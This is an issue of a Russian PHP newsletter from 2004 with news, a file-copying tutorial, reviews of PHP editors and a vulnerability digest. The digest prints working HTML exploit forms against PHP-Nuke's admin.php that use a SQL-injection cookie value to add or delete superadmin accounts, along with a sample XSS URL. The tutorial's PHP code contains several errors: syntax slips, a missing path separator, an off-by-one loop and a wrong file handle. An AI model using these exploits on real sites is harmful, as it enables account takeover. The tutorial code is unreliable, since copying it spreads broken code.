Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

PHP для всех!


Информационный Канал Subscribe.Ru

PHP для всех! Выпуск №71

PHP для всех! Выпуск #71

 

/* Сегодня в выпуске */

 

001 Полезно знать всем: Немного о рассылке. Новшества, изменения.

002 В ближайших выпусках: Небольшой анонс.

003 Новости вебмастеру: Все самое свежее из мира PHP.

004 Полезная статейка: Копирование файлов в PHP.

005 Софт для разработчика: Описание PHP-редакторов кода.

006 Горячие жучки: Новые дыры в PHP-Nuke и других скриптах

007 Копирайты и первоисточники: Кто готовил этот выпуск рассылки для вас

008 Реклама: Объявления рекламного характера

009 Друзья рассылки: Проекты, которые нас поддерживают

 

/* Полезно знать всем */

 

Если вы хотите прочитать здесь статью по интересующей вас теме, оставьте свою заявку по этой ссылке: http://netboard.ru/showthread.php?p=7818, или напишите на ripper@webz.ru. WebZ.ru Team в ближайшем выпуске подробно рассмотрит интересующую вас тему.

 

Если у вас есть небольшой проект, но нет хостинга… Обращайтесь: http://host.virtualbrest.com - хостинг от 5 у. в год.

 

/* В ближайших выпусках */

 

Статья «Как повысить безопасность php-скриптов: учимся настраивать php»

В статье будет рассмотрена правильная установка и настройка PHP. В том числе как настроить php, чтобы защитить свои скрипты от CSS и SQL инъекций.

 

Статья «Основы ООП в php4, php

В статье будут описаны основы ООП в PHP. Так же будут рассмотрены отличия ООП в php4 и php5.

 

В ближайшее время планируется открытие раздела с «избранными» свежими скриптами. Хотелось бы узнать скрипты какой тематики вас интересуют. Мы найдем для вас их, протестируем и напишем обзоры специально для вас. Пишите: ripper@webz.ru.

 

/* Новости вебмастеру */

 

071-003-001 Русская команда перевода Drupal

Для координации усилий по переводу интерфейса и документации на русский язык создается Русская команда перевода Drupal. Переводы совместно создаваемые командой являются официальными переводами drupal.ru и помещаются в CVS международного проекта drupal.org.

http://cmsobzor.ru

 

071-003-002 3я конференция по PHP

23-24 сентября PHPClub совместно с Интернет агентством WebProfy проводят 3-ю международную конференцию «Современные технологии эффективной разработки веб-приложений с использованием PHP».

Место проведения: Россия, г. Москва, ул. Дубосековская, д.8, ДК МАИ.

Телефон: +7 (095) 744-31-18

http://phpconf.ru

 

071-003-003 PHP 4.3.9RC2

Вышел новый релиз языка программирования PHP4. По заявлению разработчиков, это последний релиз перед выходом финальной версии и он имеет минимальное количество ошибок. Разработчики просят скачать и протестировать данный продукт.

http://php.net

 

071-003-004 Xaraya 0.9.10 Released

На официальном сайте "Xaraya" объявили о выходе очередной бета версии Xaraya 0.9.10 Beta. Как обещают это уже последние «стремительные» шаги перед выходом версии 1.0. В данной бета версии, как и ожидалось, произошла очередная стабилизация кода, многие усовершенствования функциональных возможностей.

http://xaraya.com

 

071-003-005 phpBB Fetch All

phpBB Fetch All - новая модификация для известного форума phpBB, позволяющая выводить информацию с форума на любой странице сайта.

http://www.phpbbfetchall.com

 

/* Полезная статейка */

«Копирование файлов в PHP»

 

По материалам форума Net.Board

Тема обсуждалась здесь: http://netboard.ru/showthread.php?t=1032

 

Вопрос заключался в следующем: как средствами PHP можно все файлы из одного места скопировать в другое.

 

Для этого помимо стандартных циклов нам понадобятся специальные функции PHP для работы с файловой системой:

 

copy: http://ru2.php.net/manual/ru/function.copy.php

opendir: http://ru2.php.net/manual/ru/function.opendir.php

readdir: http://ru2.php.net/manual/ru/function.readdir.php

closedir: http://ru2.php.net/manual/ru/function.closedir.php

is_dir: http://ru2.php.net/manual/ru/function.is-dir.php

is_file: http://ru2.php.net/manual/ru/function.is-file.php

 

Внимание! Данный скрипт будет лишь копировать файлы из одной директории в другую. Если вы хотите перемещать, необходимо удалять файлы из старого места.

Кроме того, данный скрипт разделен на две части: получение массива, содержащего все имена файлов в данной директории и копирование их в другое место. Это нецелесообразно, если массив не пригодится вам в будущем, т.е. если вы только копируете файлы, правильнее будет объединить все в один цикл.

 

Итак, поехали:

Этап 1. Получение массива с названиями всех файлов данной директории.

 

$dir = “/home/my_account/www/files1”; // Указываем путь к директории с которой будем работать.

$handle=opendir($dir); // Открываем директорию указанную в $dir

$i = 0; // Вспомогательная переменная, для составления массива
    while ($file = readdir($handle)) { // Здесь считываем все подряд. Файлы и директории.
    if (!
is_dir($file)) { Проверяем, не директория ли случаем этот «файл»

        $list[$i] = $file; // Добавляем новый член массива

        $i++; // Увеличиваем на 1 значение вспомогательной переменной (чтобы записать следующий элемент)
    }
    }
    closedir($handle); // Закрываем директорию

 

Итак, первый этап вроде завершен: мы считали содержимое нужной директории. Все файлы добавили в массив $list. Выше я говорил, что это не целесообразно в некоторых случаях. Ведь мы прямо в этом цикле можем копировать файлы в другое место.

Кроме того, вместо функции is_dir() можно использовать функцию is_file(). В таком случае необходимо будет убрать значок «!».

 

Этап 2. Копирование файлов из данной директории в другую. Помним, что на этапе 1 мы объявили $dir.

 

$dest = “/home/my_accaount/www/files2”; // Указываем путь, куда копировать файл.

for($i=0; $i<=count($list); $i++) { // цикл перебирает массив $list. Который мы получили на этапе 1.
if
(!copy($dir.$list[$i], $dest)) { // Копируем файл одновременно проверяя, скопирован он или нет.

echo ("Не могу скопировать файл $list[$i]!"; // Вывод сообщения об ошибке, если таковая имеется
}
}

 

Дополнения к вышеизложенному материалу. Возможные способы улучшения работы скрипта.

Естественно, выше был приведен самый простой вариант выполнения данной задачи, с минимальными добавлениями. Более того, скажу, что данный вариант не всегда безопасен. Приведу пример: вы копируете файл, а в это время еще кто-нибудь в него данные записывает. Ниже постараемся решить данные проблемы.

 

Функции работы с файловой системой, используемые в данных добавлениях.

 

flock(): http://ru2.php.net/manual/ru/function.flock.php

is_writable(): http://ru2.php.net/manual/ru/function.is-writable.php

chmod(): http://ru2.php.net/manual/ru/function.chmod.php

is_readable(): http://ru2.php.net/manual/ru/function.is-readable.php

 

Я не буду приводить готовые решения, лишь объясню: когда целесообразно использовать ту или иную функцию.

 

Начнем по порядку.

 

Функция flock. Как можно прочитать в мануале по PHP эта функция используется для блокировки доступа к файлу другим процессам. Для чего это нужно?

Рассмотрим вышеприведенную ситуацию. Когда вы копируете файл, а кто-то в этот же момент что-то в него добавляет. Я думаю, скопированный файл вашим требованиям отвечать не будет J.

Когда это произойдет? Например, на вашем сервере большая нагрузка, много народу. Вот и будет такая беда.

Решение проблемы: функция flock.

Т.е. прежде чем копировать файл, вы блокируете доступ к нему другим приложениям.

Небольшой пример использования:

 

$file=fopen("file.txt","r"); // чтобы файл заблокировать, его надо открыть, открываем файл на чтение
flock($file, 2); // блокируем файл

// здесь мы выполняем все нужные нам действия над файлом

flock($file, 3); // снимаем блокировку с файла
fclose($f2); // Закрываем файл

 

Я думаю, не составит труда встроить этот фрагмент в скрипт копирования файла.

 

Функции is_writable, is_readable. Если у вас нет соответствующих прав(на запись в директорию, на открытие файла), ваш файл скопирован не будет. С помощью двух этих функций можно проверять, какие права установлены на директорию. После проверки уже принимать какие либо меры: либо выводить ошибку, либо менять права скриптом (о чем будет написано чуть ниже).

Пример использования:

 

$file = “/home/your_site/www/index.html”; // путь к проверяемому файлу

if(is_writable($file)) { // Проверка, можно ли писать в него.

// Здесь работаем с файлом

}

 

Функция chmod. С ней вообще все очень просто J. Функция используется для изменения прав на файл.

Пример использования:

 

<?php
// Доступ на запись и чтение для владельца, нет доступа для других
chmod ("/somedir/somefile", 0600);
// Доступ на запись и чтение для владельца, доступ на чтение для других
chmod ("/somedir/somefile", 0644);
// Полный доступ для владельца, доступ на чтение и выполнение для других
chmod ("/somedir/somefile", 0755);
// Полный доступ для владельца, доступ на чтение и выполнение для группы владельца
chmod ("/somedir/somefile", 0750);
?>

 

Пожалуй, на этом я закончу данную статью, пишите. В ближайшем выпуске будет опубликовано FAQ по вашим вопросам.

 

Обсудить данную статью можно здесь: http://netboard.ru/showthread.php?p=7815#post7815

Если у вас есть, какие то дополнения к ней, пишите: ripper@webz.ru

2004 WebZ.ru Team. Автор статьи: ripper.

Копирование статьи разрешено только при условии не изменения ее (в том числе и копирайтов).

 

/* Софт для разработчика */

Сегодня мы рассмотрим редакторы для PHP.

 

71-005-001 Svoi.Net : PHP Edit

Это отечественный редактор файлов. Быстрый, удобный, мощный инструмент для программистов. Мощная подсветка кода для HTML, ASP, PHP, Perl, Java, JavaScript, VBScript, CSS, XML, C/C++, Python и др. Работа с файлами в кодировках: Ansi, Arabic, Baltic, Chinese, EastEurope, Gb2312, Greek, Hangeul, Hebrew, Johab, Mac, Eom, Russian, ShiftJis, Symbol, Thai, Turkish. Декодирование текста из Windows в Koi, Iso, Dos и обратно, авто определение кодировки. Работа с закладками, недавно открытыми файлами. Бесконечное Undo/Redo. Предварительный просмотр во встроеном броузере, отладка и тестирование PHP скриптов. Запуск PERL скриптов. Быстрая вставка (Ctrl+Space) пока что только PHP функций. Работа со сниппетами (уже более 120 штук), просмотр всех классов, функций, переменных в текущем php файле.

Тип: FreeWare

Сайт продукта: http://phpedit.svoi.net

Скачать последнюю версию: http://phpedit.svoi.net/rus/download.phpedit

 

71-006-002 Zend Studio

Софт от разработчиков PHP. Редактор написан для профессиональных разработчиков. Zend Studio – единственный редактор, в котором есть все компоненты, которые необходимы PHP-скрипту для работы. Данный продукт действительно ускоряет создание PHP-приложений.

Лично я пользуюсь этим продуктом J.

Тип: ShareWare

Сайт продукта: http://zend.com/store/products/zend-studio.php

Скачать trial-версию можно по ссылке: http://zend.com/store/evaluation.php?pid=77&download=1

 

/* Горячие жучки */

 

71-006-001 Жучек: [XSS] dasBlog (наличие эксплоита: Да)

Описание: Уязвимость обнаружена в dasBlog. Удаленный пользователь может выполнить XSS нападение. Event и Activity Viewer не проверяют HTML код в журнале регистрации перед отображением. Удаленный пользователь может представить специально обработанный http заголовок к целевому серверу с кодом сценария в полях URL, Referer, или User Agent. Код будет выполнен в браузере пользователя, просматривающего Event и Activity Viewer.

URL производителя: http://www.dasblog.net/documentation/

Решение: Необходимо обновить скрипт. Обновление лежит на сайте производителя.

Источник: securitylab.ru

 

71-006-002 Жучек: [FILE] CuteNews 1.3.6 (наличие эксплоита: Да)

Описание: Уязвимость обнаружена в CuteNews. Локальный пользователь может изменять файл новостей. Файл 'news.txt' в 'Data' директории конфигурирован с world-writeable разрешениями. В результате, локальный пользователь может изменять файл и добавлять или модифицировать новости, которые отобразит CuteNews.

URL производителя: http://cutephp.com/cutenews/

Решение: Производителем не предосавлено

Источник: securitylab.ru

 

71-006-003 Жучек: [XSS&SQL ] phpWebSite 0.9.3-4 и более ранние версии (наличие эксплоита: Да)

Описание: Несколько уязвимостей обнаружено в phpWebSite.

1. Удаленный пользователь может внедрить SQL команды и выполнить XSS нападение. Удаленный пользователь может представить специально обработанное событие в module через поле 'cal_template'. Затем, когда администратор получает событие, будут выполнены SQL команды.

2. XSS: /index.php?module=comments&CM_op=replyToComment&CM_pid=1[XSS]

Также уязвимы поля subject и message в частных сообщениях посланных через notes модуль.

Также сообщается, что phpWebSite нарушает RFC 2616, принимая функции клавиш через http get запросы. В результате, удаленный пользователь может выполнить XSS нападение, чтобы заставить целевого администратора выполнить функции клавиш, например, внедренные в GET запрос в IFRAME или image тэгах или других тэгах.

URL производителя: http://phpwebsite.appstate.edu/

Решение: Необходимо обновить скрипт. Обновление лежит на сайте производителя.

 

71-006-004 Жучек: [XSS] pLog 0.3.2 (наличие эксплоита: Да)

Описание: Уязвимость обнаружена в pLog. Удаленный пользователь может выполнить XSS нападение.

Сценарий 'register.php' не филтрует HTMl код в поле username и blog name.

URL производителя: http://sourceforge.net/projects/plog/

Решение: Способов Производителем не предосавлено

 

 

71-006-005 Жучек: [XSS] PHP-Nuke View Admin Bug ( Наличие эксплоита: Да)

Описание: PHP-Nuke всегда славился своими дырами, вот еще одна: атакующий может получить доступ к администраторской записи, и использовать дыру чтобы стереть ее. «Жучек» был скрыт в предыдущих версиях, однако существует способ обойти защиту. Для этого необходимо использовать POST-запрос вместо GET.

URL производителя: http://www.phpnuke.org

Решение + эксплоит:

Необходимо сделать файл со следующим кодом:

 

<form name="form1" method="POST" action="http://www.sitewithphpnuke.com/admin.php">

<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox"><br>

<input type="hidden" name="add_radminsuper" value="1"><br>

<input type="hidden" name="op" value="mod_authors"><br>

<input type="submit" name="Submit" value="Display"><br>

</form>

 

Устранить дыру можно так: в файле admin.php исправить:

 

if ( !empty($HTTP_GET_VARS['op']) ) {

$op = $HTTP_GET_VARS['op'];

}

if ( !empty($HTTP_POST_VARS['op']) ) {

$op = $HTTP_POST_VARS['op'];

}

Источник: securityfocus.com

 

71-006-006 Жучек: Открытие инсталляционного пути в скрипте YabbSE (Наличие эксплоита: Да)

Описание: Файл admin.php не защищен от удаленного доступа. Чтобы узнать инсталляционный путь, атакующему достаточно набрать в адресной строке браузера путь к нему (http://localhost/yabbse/Sources/Admin.php)

URL производителя: http://www.yabbse.org/

Решение: Производителем не предоставлено.

 

71-006-007 Жучек: [XSS] Удаление записи администратора, получение привелегий в PHP-Nuke

Подробное описание и ссылки смотрите в «жучке» с номером 71-006-005

Эксплоиты:

Добавение админа:

<form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php">

USERNAME: <input type="text" name="add_aid"><br>

NOME: <input type="text" name="add_name"><br>

PASSWORD: <input type="text" name="add_pwd"><br>

E-MAIL: <input type="text" name="add_email"><br>

<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox"><br>

<input type="hidden" name="add_radminsuper" value="1"><br>

<input type="hidden" name="op" value="AddAuthor"><br>

<input type="submit" name="Submit" value="Create Admin">

</form>

Удаление админа:

<form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php">

USERNAME: <input type="text" name="del_aid">

<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox"><br>

<input type="hidden" name="add_radminsuper" value="1"><br>

<input type="hidden" name="op" value="deladminconf">

<input type="submit" name="Submit" value="Delete Admin">

</form>

Источник: securityfocus.com

 

 

/* Копирайты и первоисточники */

Статья из раздела «Полезная статейка» 2004 WebZ.ru Team. Автор статьи: ripper.

 

«Горячие жучки» собраны по материалам:

securityfocus.com

securitylab.ru

Официальных сайтов разработчиков.

 

Софт был подобран [FWZ.ru] Team

Сайты производителей:

zend.com

phpedit.svoi.net

 

Источники новостей:

Phpbbfetchall.com

phpconf.ru

xaraya.com

cmsobzor.ru

php.net

 

 

/* Реклама */

 

Написали скрипт? Выбрали существующий? Хостинг-центр WebZ.ru представляет: гибкие тарифные планы, быстрые сервера. Введите при оформлении заказа или сообщите в службу поддержки при открытии аккаутна промо-код «php4all» и любые бесплатные php-скрипты при заказе хостинга мы поставим вам абсолютно бесплатно. Хостинг-центр WebZ.ru – профессиональные услуги Интернет-хостинга! http://hosting.webz.ru

 

Сегодня я хочу вам предложить подписаться на дискуссионный лист “Всё о PHP. Решаем вопросы вместе!”
Главное отличие дискуссионного листа от рассылки в том, что в лист могут писать не только автор, но и подписчики. Это открывает глобальные перспективы для обмена опытом, решения проблем и поиска ошибок в скриптах.
За порядком в листе всегда следит строгий, но очень добрый Модератор, который наказывает нарушителей порядка отстранением от участия в беседах.
Подписаться на этот лист очень просто: достаточно отправить любое (пустое или с текстом, с темой или без неё) на адрес mailto:inet.webbuild.phpforall-sub@subscribe.ru. Те, кто хочет посмотреть архив, почитать правила листа - посетите страницу листа http://subscribe.ru/catalog/inet.webbuild.phpforall. Отписаться от листа Вы сможете в любой момент. Попробуйте! Я обещаю, что будет интересно!

 

/* Друзья рассылки */

 

http://virtual.brest.by - Виртуальный Брест. Региональный информационно - развлекательный портал города Бреста. Чат, форум, статьи, услуги, объявления, недвижимость, каталог сайтов - это и многое другое ждет Вас на страницах сайта.


Выпуск подготовлен: WebZ.ru Team.

http://subscribe.ru/
http://subscribe.ru/feedback/
Подписан адрес:
Код этой рассылки: inet.webbuild.php3programm
Отписаться

В избранное